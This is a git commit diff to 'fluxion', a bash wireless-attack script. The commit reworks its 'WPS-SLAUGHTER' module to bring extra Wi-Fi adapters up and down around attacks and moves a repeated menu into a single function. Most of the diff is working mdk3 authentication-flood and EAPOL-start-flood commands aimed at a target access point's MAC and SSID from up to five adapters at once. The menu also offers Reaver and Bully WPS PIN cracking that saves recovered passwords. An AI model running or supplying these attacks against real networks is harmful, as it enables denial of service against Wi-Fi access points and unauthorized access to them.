WPS-SLAUGHTER Improvements/Begin Style Change.

Target Scanner Fixed*
Made it take down all other Adapters until needed for flooding(Saves Energy and NIC lifespan)
Began to do some Style Changes to the WPS-SLAUGHTER menus.
Created a function for the attack menu(so its not repeated so many times)
This commit is contained in:
Apathetic Euphoria 2016-03-21 16:46:47 -07:00
parent cedb1bdb8f
commit dfc0bcc0e1
1 changed files with 127 additions and 69 deletions

196
fluxion
View File

@ -1,5 +1,7 @@
#!/bin/bash #!/bin/bash
rfkill unblock all
########## DEBUG Mode ########## ########## DEBUG Mode ##########
## ## ## ##
FLUX_DEBUG=0 FLUX_DEBUG=0
@ -1161,47 +1163,162 @@ run_mdk3_EAPOL1()
run_mdk3_ASOC2() run_mdk3_ASOC2()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m" xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
} }
run_mdk3_EAPOL2() run_mdk3_EAPOL2()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250" xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
} }
run_mdk3_ASOC3() run_mdk3_ASOC3()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m" xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
} }
run_mdk3_EAPOL3() run_mdk3_EAPOL3()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250" xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
} }
run_mdk3_ASOC4() run_mdk3_ASOC4()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
ifconfig $WIFI_MONITOR4 up
sleep 1
xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m" xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
ifconfig $WIFI_MONITOR4 down
sleep 1
} }
run_mdk3_EAPOL4() run_mdk3_EAPOL4()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
ifconfig $WIFI_MONITOR4 up
sleep 1
xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250" xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
ifconfig $WIFI_MONITOR4 down
sleep 1
} }
run_mdk3_ASOC5() run_mdk3_ASOC5()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
ifconfig $WIFI_MONITOR4 up
sleep 1
ifconfig $WIFI_MONITOR5 up
sleep 1
xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m" xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
ifconfig $WIFI_MONITOR4 down
sleep 1
ifconfig $WIFI_MONITOR5 down
sleep 1
} }
run_mdk3_EAPOL5() run_mdk3_EAPOL5()
{ {
sleep 1
ifconfig $WIFI_MONITOR2 up
sleep 1
ifconfig $WIFI_MONITOR3 up
sleep 1
ifconfig $WIFI_MONITOR4 up
sleep 1
ifconfig $WIFI_MONITOR5 up
sleep 1
xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250" xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250"
sleep 1
ifconfig $WIFI_MONITOR2 down
sleep 1
ifconfig $WIFI_MONITOR3 down
sleep 1
ifconfig $WIFI_MONITOR4 down
sleep 1
ifconfig $WIFI_MONITOR5 down
sleep 1
} }
##################################End Of Functions For MDK3 ######################################## ##################################End Of Functions For MDK3 ########################################
WPS_ATTACK_MENU()
{
mostrarheader
echo "************** - Which Attack Would You Like To Use? - **************
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
}
mostrarheader
echo "************** - How Many Wlan Adapters Would You Like To Use? - ************** echo "************** - How Many Wlan Adapters Would You Like To Use? - **************
1)1 Adapter 1)1 Adapter
2)2 Adapters 2)2 Adapters
@ -1213,19 +1330,19 @@ read a
case $a in case $a in
1) 1)
clear clear
mostrarheader
echo echo
read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1;
clear clear
mostrarheader
enable_mon_mode_1 enable_mon_mode_1
sleep 1 sleep 1
clear clear
mostrarheader
echo "************** - Would you like to Change the Wlan WIFI_MONITOR's MAC Address? - ************** echo "************** - Would you like to Change the Wlan WIFI_MONITOR's MAC Address? - **************
1)Yes 1)Yes
2)No" 2)No"
@ -1234,7 +1351,7 @@ read c
case $c in case $c in
1) 1)
clear clear
mostrarheader
mac_change_1 mac_change_1
sleep 1 sleep 1
@ -1251,24 +1368,13 @@ esac
menu () { menu () {
clear clear
echo "************** - Which Attack Would You Like To Use? - ************** WPS_ATTACK_MENU
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
read d read d
case $d in case $d in
0) 0)
clear clear
mostrarheader
scan_for_targets scan_for_targets
enable_mon_mode_1 enable_mon_mode_1
menu menu
@ -1405,19 +1511,7 @@ esac
menu () { menu () {
clear clear
echo "************** - Which Attack Would You Like To Use? - ************** WPS_ATTACK_MENU
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
read g read g
case $g in case $g in
@ -1569,19 +1663,7 @@ esac
menu () { menu () {
clear clear
echo "************** - Which Attack Would You Like To Use? - ************** WPS_ATTACK_MENU
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
read j read j
case $j in case $j in
@ -1738,19 +1820,7 @@ clear
menu () { menu () {
clear clear
echo "************** - Which Attack Would You Like To Use? - ************** WPS_ATTACK_MENU
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
read m read m
case $m in case $m in
@ -1912,19 +1982,7 @@ esac
menu () { menu () {
clear clear
echo "************** - Which Attack Would You Like To Use? - ************** WPS_ATTACK_MENU
0)Select New Target Network
1)EAPOL Start Flood
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED
5)Reaver with AutoFlood(ASOC)
6)Reaver with AutoFlood(EAPOL)
7)Bully
8)Bully with AutoFlood(ASOC)
9)Bully with AutoFlood(EAPOL)
*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*"
read p read p
case $p in case $p in